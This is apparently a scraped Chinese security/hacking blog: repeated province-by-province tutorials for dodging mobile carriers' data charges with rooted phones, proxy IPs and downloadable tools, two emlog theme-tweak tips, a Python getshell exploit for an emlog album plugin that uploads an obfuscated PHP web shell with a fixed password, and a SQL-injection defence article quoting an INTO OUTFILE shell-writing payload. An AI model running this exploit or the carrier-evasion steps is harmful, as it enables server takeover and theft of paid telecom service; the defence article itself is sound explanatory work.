贵州联通免流更新合集 --- 免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏)-防和谐,请回复即可看见 杂七杂八
写在前面:
其实免流一直是存在的,因为移动,联通,电信的公司系统不可能是完美的,况且他们的员工也有人故意而为之呢......所以别在天真的想着冲好多钱去买流量,这些在他们那里就是一个数字,敲一下键盘就OK了,况且,我觉得他们的流量好贵的说.....我看到在各大论坛到处都有人发帖子说什么免流教程,都不全面,要么只有某某移动,或者是联通,电信之类的,我今天收集网上的大量(多省份+移动+联通+电信)免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏),并且亲测(四川)成功.其他的地区可以自己测试;但是大家肆意的传播,造成了大部分的和谐,很多本来很优秀的免流教程,很快就被和谐了,因此为了大家的长久利益,本系列文章都会加密,密码请---->>>评论即可看见隐藏内容
[hide]
相关工具+视屏下载地址:
免流软件{持续更新}: 链接: http://pan.baidu.com/s/1i38GgID 密码: db5k
免流视频{持续更新}: 链接: http://pan.baidu.com/s/1hqhDNxE 密码: qc5a
免流资源{持续更新}: 链接: http://pan.baidu.com/s/1kT1QyQ7 密码: r3t6
免流相关软件{持续更新}: 链接: http://pan.baidu.com/s/1780ou 密码: 385n
防跳脚本: 链接: http://pan.baidu.com/s/1bn76ukR 密码: gt6d
测试是否免流的方法:
你可以在使用免流之前查询你的流量,我只知道移动是10086(因为用的移动),联通,电信的不知道,自己搞定吧.
然后打开免流,去微博上看几段小段视屏,也就是会所大概用20-40M的数据流量,4G很快的,其他的3G,2G一样可以.
看完视频后关闭免流,再次查询流量就知道是否成功了.有小额的不符合很正常,范围在1-5M内.
下面开始我们的教程:
免流系列:fmns免流
测试地区:贵州
测试机型:红米
测试时间:5.1至今
附件连接:终端模拟器
RE管理器 这个自己百度下载
教程图文:视频教程(见上面的收集)
请解压后把FMNS文件夹复制到/data/data/目录下
再把fmns文件复制到/system/bin/目录下
需要修改三个文件的权限
一、/system/bin/fmns 修改权限-九格全勾
二、/data/data/FMNS/update.info/svr-linker 修改权限-九格全勾
三、/data/data/FMNS/update.info/libc.so.6 修改权限-九格全勾
其他文件的权限无需修改,注意终端模拟器不可用清理软件把它清理了,加入白名单
使用方法:
接入点:手机自带中国移动的接入点
apn:cmwap 代理和端口留空
安装完成后,打开终端模拟器,点击菜单键,首先项,默认UTF-8(不用默认utf-8会乱码)首先输入su获得root权限,
然后输入fmns,点击回车键就可以进入控制后台了,输入3点击键盘回车键启动fmns,然后就尽情奔放去吧
[/hide]
如果有什么不懂得可以留言. 留言板 [QQ交流群]154112695
湖南移动免流更新合集 --- 免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏)-防和谐,请回复即可看见 杂七杂八
写在前面:
其实免流一直是存在的,因为移动,联通,电信的公司系统不可能是完美的,况且他们的员工也有人故意而为之呢......所以别在天真的想着冲好多钱去买流量,这些在他们那里就是一个数字,敲一下键盘就OK了,况且,我觉得他们的流量好贵的说.....
我看到在各大论坛到处都有人发帖子说什么免流教程,都不全面,要么只有某某移动,或者是联通,电信之类的,我今天收集网上的大量(多省份+移动+联通+电信)免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏),并且亲测(四川)成功.其他的地区可以自己测试;但是大家肆意的传播,造成了大部分的和谐,很多本来很优秀的免流教程,很快就被和谐了,因此为了大家的长久利益,本系列文章都会加密,密码请---->>>评论即可看见隐藏内容
[hide]
相关工具+视屏下载地址:
免流软件{持续更新}: 链接: http://pan.baidu.com/s/1i38GgID 密码: db5k
免流视频{持续更新}: 链接: http://pan.baidu.com/s/1hqhDNxE 密码: qc5a
免流资源{持续更新}: 链接: http://pan.baidu.com/s/1kT1QyQ7 密码: r3t6
免流相关软件{持续更新}: 链接: http://pan.baidu.com/s/1780ou 密码: 385n
防跳脚本: 链接: http://pan.baidu.com/s/1bn76ukR 密码: gt6d
测试是否免流的方法:
你可以在使用免流之前查询你的流量,我只知道移动是10086(因为用的移动),联通,电信的不知道,自己搞定吧.
然后打开免流,去微博上看几段小段视屏,也就是会所大概用20-40M的数据流量,4G很快的,其他的3G,2G一样可以.
看完视频后关闭免流,再次查询流量就知道是否成功了.有小额的不符合很正常,范围在1-5M内.
下面开始我们的教程:
是否需要root:是
所在地区:湖南
营运商:移动
所用软件:扫地僧
6.12
使用IP和端口:代理:211.138.236.167
使用APN:APN:cmwap(移动)3ganp(联通)
使用软件设置图:(如下)
[/hide]
如果有什么不懂得可以留言. 留言板 [QQ交流群]154112695
河南移动免流更新合集 --- 免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏)-防和谐,请回复即可看见 杂七杂八
写在前面:
其实免流一直是存在的,因为移动,联通,电信的公司系统不可能是完美的,况且他们的员工也有人故意而为之呢......所以别在天真的想着冲好多钱去买流量,这些在他们那里就是一个数字,敲一下键盘就OK了,况且,我觉得他们的流量好贵的说.....
我看到在各大论坛到处都有人发帖子说什么免流教程,都不全面,要么只有某某移动,或者是联通,电信之类的,我今天收集网上的大量(多省份+移动+联通+电信)免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏),并且亲测(四川)成功.其他的地区可以自己测试;但是大家肆意的传播,造成了大部分的和谐,很多本来很优秀的免流教程,很快就被和谐了,因此为了大家的长久利益,本系列文章都会加密,密码请---->>>评论即可看见隐藏内容
[hide]
相关工具+视屏下载地址:
免流软件{持续更新}: 链接: http://pan.baidu.com/s/1i38GgID 密码: db5k
免流视频{持续更新}: 链接: http://pan.baidu.com/s/1hqhDNxE 密码: qc5a
免流资源{持续更新}: 链接: http://pan.baidu.com/s/1kT1QyQ7 密码: r3t6
免流相关软件{持续更新}: 链接: http://pan.baidu.com/s/1780ou 密码: 385n
防跳脚本: 链接: http://pan.baidu.com/s/1bn76ukR 密码: gt6d
测试是否免流的方法:
你可以在使用免流之前查询你的流量,我只知道移动是10086(因为用的移动),联通,电信的不知道,自己搞定吧.
然后打开免流,去微博上看几段小段视屏,也就是会所大概用20-40M的数据流量,4G很快的,其他的3G,2G一样可以.
看完视频后关闭免流,再次查询流量就知道是否成功了.有小额的不符合很正常,范围在1-5M内.
下面开始我们的教程:
是否需要root:是
所在地区:河南周口
营运商:移动
所用软件:samp1.8配合终极防跳6.3脚本加终极后缀htp+BusyBox
使用IP和端口:127.0.0.1端口:60880
联通:10.0.0.127端口:80
使用APN:APN:cmwap(移动)3ganp(联通)
说明:乱码请换文件浏览器,htp联通的把wap.10086.com改成wap.10010.com
使用软件设置图:
[/hide]
如果有什么不懂得可以留言. 留言板 [QQ交流群]154112695
广东电信免流更新合集 --- 免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏)-防和谐,请回复即可看见 杂七杂八
写在前面:
其实免流一直是存在的,因为移动,联通,电信的公司系统不可能是完美的,况且他们的员工也有人故意而为之呢......所以别在天真的想着冲好多钱去买流量,这些在他们那里就是一个数字,敲一下键盘就OK了,况且,我觉得他们的流量好贵的说.....
我看到在各大论坛到处都有人发帖子说什么免流教程,都不全面,要么只有某某移动,或者是联通,电信之类的,我今天收集网上的大量(多省份+移动+联通+电信)免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏),并且亲测(四川)成功.其他的地区可以自己测试;但是大家肆意的传播,造成了大部分的和谐,很多本来很优秀的免流教程,很快就被和谐了,因此为了大家的长久利益,本系列文章都会加密,密码请---->>>评论即可看见隐藏内容
[hide]
相关工具+视屏下载地址:
免流软件{持续更新}: 链接: http://pan.baidu.com/s/1i38GgID 密码: db5k
免流视频{持续更新}: 链接: http://pan.baidu.com/s/1hqhDNxE 密码: qc5a
免流资源{持续更新}: 链接: http://pan.baidu.com/s/1kT1QyQ7 密码: r3t6
免流相关软件{持续更新}: 链接: http://pan.baidu.com/s/1780ou 密码: 385n
防跳脚本: 链接: http://pan.baidu.com/s/1bn76ukR 密码: gt6d
测试是否免流的方法:
你可以在使用免流之前查询你的流量,我只知道移动是10086(因为用的移动),联通,电信的不知道,自己搞定吧.
然后打开免流,去微博上看几段小段视屏,也就是会所大概用20-40M的数据流量,4G很快的,其他的3G,2G一样可以.
看完视频后关闭免流,再次查询流量就知道是否成功了.有小额的不符合很正常,范围在1-5M内.
下面开始我们的教程:
是否需要root:是
所在地区:广东
营运商:电信
所用软件:samp1.8
使用IP和端口:代理127.0.0.1端口:60880
使用APN:APN:cmwap(电信)
使用软件设置图:(如下):(重点注意HTP管理)
[/hide]
如果有什么不懂得可以留言. 留言板 [QQ交流群]154112695
广东移动免流更新合集 --- 免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏)-防和谐,请回复即可看见 杂七杂八
写在前面:
其实免流一直是存在的,因为移动,联通,电信的公司系统不可能是完美的,况且他们的员工也有人故意而为之呢......所以别在天真的想着冲好多钱去买流量,这些在他们那里就是一个数字,敲一下键盘就OK了,况且,我觉得他们的流量好贵的说.....
我看到在各大论坛到处都有人发帖子说什么免流教程,都不全面,要么只有某某移动,或者是联通,电信之类的,我今天收集网上的大量(多省份+移动+联通+电信)免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏),并且亲测(四川)成功.其他的地区可以自己测试;但是大家肆意的传播,造成了大部分的和谐,很多本来很优秀的免流教程,很快就被和谐了,因此为了大家的长久利益,本系列文章都会加密,密码请---->>>评论即可看见隐藏内容
教程一:
[hide]
相关工具+视屏下载地址:
免流软件{持续更新}: 链接: http://pan.baidu.com/s/1i38GgID 密码: db5k
免流视频{持续更新}: 链接: http://pan.baidu.com/s/1hqhDNxE 密码: qc5a
免流资源{持续更新}: 链接: http://pan.baidu.com/s/1kT1QyQ7 密码: r3t6
免流相关软件{持续更新}: 链接: http://pan.baidu.com/s/1780ou 密码: 385n
防跳脚本: 链接: http://pan.baidu.com/s/1bn76ukR 密码: gt6d
测试是否免流的方法:
你可以在使用免流之前查询你的流量,我只知道移动是10086(因为用的移动),联通,电信的不知道,自己搞定吧.
然后打开免流,去微博上看几段小段视屏,也就是会所大概用20-40M的数据流量,4G很快的,其他的3G,2G一样可以.
看完视频后关闭免流,再次查询流量就知道是否成功了.有小额的不符合很正常,范围在1-5M内.
下面开始我们的教程:
是否需要root:是
所在地区:广东
营运商:移动
所用软件:扫地僧
使用IP和端口:代理218.201.200.5端口:80
使用APN:APN:cmwap(移动)3ganp(联通)
使用软件设置图:(如下)
[/hide]
教程二:
[hide]
是否需要root:是
所在地区:广东
广州
营运商:移动
所用软件:hap
使用IP和端口:代理127.0.0.1端口:8787
使用APN:APN:cmwap
使用软件设置图:(如下)
完成后可以打开127.0.0.1:8787/hap这个地址同时也上网的就成功了
[/hide]
如果有什么不懂得可以留言. 留言板 [QQ交流群]154112695
四川【移动】免流更新合集 --- 免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏)-防和谐,请回复即可看见 杂七杂八
写在前面:
其实免流一直是存在的,因为移动,联通,电信的公司系统不可能是完美的,况且他们的员工也有人故意而为之呢......所以别在天真的想着冲好多钱去买流量,这些在他们那里就是一个数字,敲一下键盘就OK了,况且,我觉得他们的流量好贵的说.....
我看到在各大论坛到处都有人发帖子说什么免流教程,都不全面,要么只有某某移动,或者是联通,电信之类的,我今天收集网上的大量(多省份+移动+联通+电信)免流教程(图文)+tools(软件/脚本)+视屏(手机操作视屏),并且亲测(四川)成功.其他的地区可以自己测试;但是大家肆意的传播,造成了大部分的和谐,很多本来很优秀的免流教程,很快就被和谐了,因此为了大家的长久利益,本系列文章都会加密,密码请---->>>评论即可看见隐藏内容
[hide]
相关工具+视屏下载地址:
免流软件{持续更新}: 链接: http://pan.baidu.com/s/1i38GgID 密码: db5k
免流视频{持续更新}: 链接: http://pan.baidu.com/s/1hqhDNxE 密码: qc5a
免流资源{持续更新}: 链接: http://pan.baidu.com/s/1kT1QyQ7 密码: r3t6
免流相关软件{持续更新}: 链接: http://pan.baidu.com/s/1780ou 密码: 385n
防跳脚本: 链接: http://pan.baidu.com/s/1bn76ukR 密码: gt6d
测试是否免流的方法:
你可以在使用免流之前查询你的流量,我只知道移动是10086(因为用的移动),联通,电信的不知道,自己搞定吧.
然后打开免流,去微博上看几段小段视屏,也就是会所大概用20-40M的数据流量,4G很快的,其他的3G,2G一样可以.
看完视频后关闭免流,再次查询流量就知道是否成功了.有小额的不符合很正常,范围在1-5M内.
下面开始我们的教程:
需要root:是
所在地区:四川
营运商:移动
所用软件:扫地僧6.12
使用IP和端口:218.200.247.40代理端口:80
使用APN:APN:cmnet(移动)
使用软件设置图:(如下)
[/hide]
教程二:
[hide]
是否需要root:是
所在地区:四川
营运商:移动
所用软件:FMNS1.2
使用IP和端口:代理:不填,端口:不填
使用APN:APN:cmwap(移动)
使用软件设置图:(如下)
[/hide]
教程三:
[hide]
是否需要root:是
所在地区:四川
营运商:移动
所用软件:fmns
使用IP和端口:代理: 空 端口:空
使用APN:APN:cmwap
使用软件设置图:(如下)
[/hide]
教程四:
[hide]
是否需要root:是
所在地区:四川
营运商:移动
所用软件:扫地僧5.0
使用IP和端口:代理218.201.200.5端口:80
使用APN:APN:cmwap(移动)
使用软件设置图:(如下)
需要的可以看我的收藏
还有本人发的QQ免流方法!
[/hide]
如果有什么不懂得可以留言. 留言板 [QQ交流群]154112695
修改emlog编辑器kindeditor,使其能够auto显示插入的代码 emlog
我们使用emlog插入代码的时候们应该遇见过这种情况:
即,代码超出边框的地方显示不全,这样,读者要是想要复制,代码也不方便,只能通过审查元素/源代码来复制了.
我也苦恼这个问题,但是一直没有时间,今晚刚好有时间,就来折腾,百度了一下,没有搜到.....于是就开始了自己的折腾.....
最终实现了:
我是通过Firebug 来查看元素的时候发现的:
我就想在<pre class="prettyprint lang-php linenums"> 里面加个css样式来实现auto显示超出部分呢?我直接用Firebug修改后,发现可以,于是就开始编辑器核心文件操作了,本地测试通过.
下面说一下具体的操作步骤:
首先打开admin/editor/plugins/code/ 目录下的code.js
在第49行左右,找到如下代码:
<pre style="overflow:auto" ;class="prettyprint lang-php linenums">html = '<pre class="prettyprint' + cls + ' linenums">\n' + K.escape(code) + '</pre> ';
修改为如下代码:
<pre style="overflow:auto" ;class="prettyprint lang-php linenums">html = '<pre style="overflow:auto";class="prettyprint' + cls + ' linenums">\n' + K.escape(code) + '</pre> ';
即可实现auto显示超出部分的代码了 .但是这个修改只是在你修改了code.js之后的文章中插入的代码才有效果,之前的文章想要实现,就只能手动重新插入一遍代码了,当然,如果你有更好的方法,欢迎留言交流.
ps:后面准备给emlog的kindeditor编辑器加入复制/粘贴/折叠代码功能,请关注博客.
利用border来设置emlog个性的边框 - 友情链接 emlog
效果如我博客的友情链接(小菜们请看,大牛绕道):
具体方法:
打开module.php找到//widget:链接 下面的如下代码处:
<?php foreach($link_cache as $value): ?>
修改为如下代码:
<?php foreach($link_cache as $value): $color = dechex(rand(0,16777215));?>
接着找到如下的代码:
<a href="<?php echo $value['url']; ?>"
修改为如下代码:
<a style="color:#<?php echo $color;?>;border-style:dotted ;border-color: #ccf;" href="<?php echo $value['url']; ?>"
即加上style="color:#<?php echo $color;?>;border-style:dotted ;border-color: #ccf;"
里面的border的相应的属性,可以自己根据自己的喜好设置,不知道的可以查阅css手册.
emlog相册插件getshell exploit 渗透测试
emlog相册插件可直接getshell 这是python的exp
#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf_8 -*-
# Date: 2015/4/30
# Created by:Mrxn
# 博客 https://mrxn.net/
import sys, os, re, time
try:
import requests
except ImportError:
raise SystemExit('\n[!] requests模块导入错误,请执行pip install requests安装!')
def usage():
# os.system(['clear', 'cls'][os.name == 'nt'])
print '+' + '-' * 60 + '+'
print '\t Python emlog相册插件getshell exploit'
print '\t Blog:https://mrxn.net/'
print '\t\t Code BY: Mrxn'
print '\t\t Time:2015-05-29'
print '+' + '-' * 60 + '+'
if len(sys.argv) != 2:
print '用法: ' + os.path.basename(sys.argv[0]) + ' EMLOG 网站地址'
print '实例: ' + os.path.basename(sys.argv[0]) + ' http://www.xxxxx.cn/'
sys.exit()
def getshell(url):
'''
emlog相册插件上传getshell函数
:param url: emlog url地址
:return: 返回得到的shell地址
'''
up_url = url + 'content/plugins/kl_album/kl_album_ajax_do.php'
shell = "<?php @preg_replace('\\'a\\'eis','e'.'v'.'a'.'l'.'($_POST[\"hstsec\"])','a');?>"
filename = "oneok'.php"
with open(filename, 'wb') as shellok:
shellok.write(shell)
files = {
'Filedata': (filename, open(filename, 'rb'), 'text/json'),
'album': (None, 'waitalone.cn')
}
try:
up_res = requests.post(up_url, files=files).content
shellok = re.findall(re.compile(r'(?<=\.\./).+?(?=\',)'), up_res)
except Exception, msg:
print '\n[x] 发生错误了,卧槽!!!:', msg
else:
if shellok: return url + shellok[0]
if __name__ == '__main__':
usage()
start = time.time()
url = sys.argv[1]
if url[-1] != '/': url += '/'
ok = getshell(url)
try:
os.remove('oneok\'.php')
except Exception:
print '\n[x] 删除临时文件失败,请手工删除!'
if ok:
print '\n[!] 爷,人品暴发了,成功得到Shell: \n%s 密码:%s' % (ok, 'hstsec')
else:
print '\n[x] 报告大爷,本站不存在此漏洞!'
print '\n报告爷,脚本执行完毕,用时:', time.time() - start, '秒!'
想知道修复方法么,如果你是技术屌,应该知道了,如果不是呢,回复吧 O(∩_∩)O哈哈~
如何在PHP应用中防止SQL注入 渗透测试
SQL注入是一个控制数据库查询的技术,往往会导致丧失机密性。在某些情况下,如果成功执行
SELECT '<?php eval(base64_decode("someBase64EncodedDataHere"));' INTO OUTFILE '/var/www/reverse_shell.php'
将导致服务器被攻击者拿下,而代码注入(包括SQL,LDAP,操作系统命令,XPath注入技术)长年保持在OWASP漏洞排名前十。
更多人分享有关于应用安全的知识是一件极好的事。然而不幸的是,网络上流传的大部分东西(尤其是老博客文章,高搜索引擎排名)都已经过时了。虽然是无意的误导,但是却造成了很大的威胁。
如何防止SQL注入
使用预处理语句,也被称为参数化查询。例如:
$stmt = $pdo->prepare('SELECT * FROM blog_posts WHERE YEAR(created) = ? AND MONTH(created) = ?');if (!$stmt->execute([$_GET['year'], $_GET['month']])) {
header("Location: /blog/"); exit;
}
$posts = $stmt->fetchAll(\PDO::FETCH_ASSOC);
在PHP应用中预处理语句过滤掉任何SQL注入的可能,无论是什么都需要先传递到$_GET变量。SQL查询语句是攻击者无法改变的(除非你将PDO::ATTR_EMULATE_PREPARES 开启了,这也意味着你还没有真正使用预处理语句)
预处理语句解决应用安全的根本问题:通过发送完全独立的包将操作指令与数据进行单独处理。这和导致堆栈溢出的问题有点类似了。
只要你没有用SQL语句连接user-provided变量和环境变量(并且保证你没有使用emulated prepares),那你就不必担心交叉SQL注入的问题了。
重要说明
预处理语句确保WEB应用与数据库服务之间的交互(即使两者不在同一台机器上,也会通过TLS进行连接)。攻击者还有可能在字段中存储一个payload,这是相当危险的,比如一个存储过程,我们称之为高阶SQL注入。
在这种情况下,我们建议不要编写存储过程,它会制造一个高阶SQL注入点。
关于输出过滤
应该有人看到过上面这张关于SQL注入攻击的漫画吧,在一些安全会议上甚至都经常被拿来引用,尤其是写给新人的文章中。这张漫画提醒了我们要提高对 数据库查询中危险用户输入的意识,但是漫画中的建议却是过滤掉数据库输入,通过对相关问题的理解,我们知道这仅仅是一个折衷的办法。
最好忘记过滤输入
虽然可以在数据发送到数据库之前重写传入的数据流来防止攻击者的攻击,但是这个过程比较难以把控。
除非你想花时间去研究,达到完全掌握所有Unicode格式应用程序,你最好不要尝试过滤你的输入。
此外,改变你的输入数据流可能造成数据损坏。特别是在你正在处理原始二进制文件(图片,加密信息)的时候。
预处理语句能简单粗暴的防止SQL注入
XKCD作者Randall Munroe是个聪明人。如果这幅漫画直到今天才被创作出来,大概会是这个样子的
输入仍应进行验证
数据验证与过滤完全不是一回事,预处理语句可以防止SQL注入,然而并不能让你摆脱那些糟糕的数据。大多数情况下,会使用filter_var()
$email = filter_var($_POST['email'], FILTER_VALIDATE_EMAIL);
if (empty($email)) {
throw new \InvalidArgumentException('Invalid email address');
}
列和表标识符
当列和表标识符作为查询语句中的一部分,你不能使用参数表示它们。如果你正在开发的这个应用需要一个动态查询结构,请使用白名单。
白名单是一个应用程序逻辑策略,它只允许少数可信的值。相对来说黑名单,仅仅是禁止已知的恶意输入。
大多数情况下,使用白名单比黑名单更安全!
$qs = 'SELECT * FROM photos WHERE album = ?';
// Use switch-case for an explicit whitelist
switch ($_POST['orderby']) {
case 'name':
case 'exifdate':
case 'uploaded':
// These strings are trusted and expected
$qs .= ' ORDER BY '.$_POST['orderby'];
if (!empty($_POST['asc'])) {
$qs .= ' ASC';
} else {
$qs .= ' DESC';
}
default:
// Some other value was passed. Let's just order by photo ID in descending order.
$qs .= ' ORDER BY photoid DESC';
}$stmt = $db->prepare($qs)
;if ($stmt->execute([$_POST['album_id']])) {
$photos = $stmt->fetchAll(\PDO::FETCH_ASSOC);
}
使用预处理语句看起来很麻烦?
开发者第一次遇到预处理语句,对于需要写大量的冗余代码而感到沮丧(提取,执行,取回;提取,执行,取回;….令人厌烦)
由此,EasyDB[https://github.com/paragonie/easydb]诞生了。
如何使用EasyDB
这里有两种方法。
-
你可以使用EasyDB包含你的PDO
-
如果你熟悉PDO构造,你可以使用ParagonIE\EasyDB\Factory::create()参数来进行替代
// First method:
$pdo = new \PDO('mysql;host=localhost;dbname=something', 'username', 'putastrongpasswordhere');
$db = \ParagonIE\EasyDB\EasyDB($pdo, 'mysql');
// Second method:
$db = \ParagonIE\EasyDB\Factory::create('mysql;host=localhost;dbname=something', 'username', 'putastrongpasswordhere');
如果有一个EasyDB对象,你可以开始利用它的快速开发安全数据库应用程序。
预处理语句:安全数据库查询
$data = $db->safeQuery(
'SELECT * FROM transactions WHERE type = ? AND amount >= ? AND date >= ?',
[
$_POST['ttype'],
$_POST['minimum'],
$_POST['since']
]
);
从一个数据库表中选择多行
$rows = $db->run(
'SELECT * FROM comments WHERE blogpostid = ? ORDER BY created ASC',
$_GET['blogpostid']
);
foreach ($rows as $row) {
$template_engine->render('comment', $row);
}
从数据库表中选择一行
$userData = $db->row(
"SELECT * FROM users WHERE userid = ?",
$_GET['userid']
);
向数据库表中插入新的一行
$db->insert('comments', [
'blogpostid' => $_POST['blogpost'],
'userid' => $_SESSION['user'],
'comment' => $_POST['body'],
'parent' => isset($_POST['replyTo']) ? $_POST['replyTo'] : null
]);
动态查询中躲避标识符(列/表/视图名)
$qs = 'SELECT * FROM some_table';
$and = false;
if (!empty($where)) {
$qs .= ' WHERE ';
foreach (\array_keys($where) as $column) {
if (!\in_array($column, $whiteListOfColumnNames)) {
continue;
}
if ($and) {
$qs .= ' AND ';
}
$qs .= $db->escapeIdentifier($column).' = ?';
$and = true;
}
}$qs .= ' ORDER BY rowid DESC';
// And then to fetch some data
$data = $db->run($qs, \array_values($where);
警告:escapeIdentifier() 方法意味着输入不应该被转义。
安全从开发人员开始!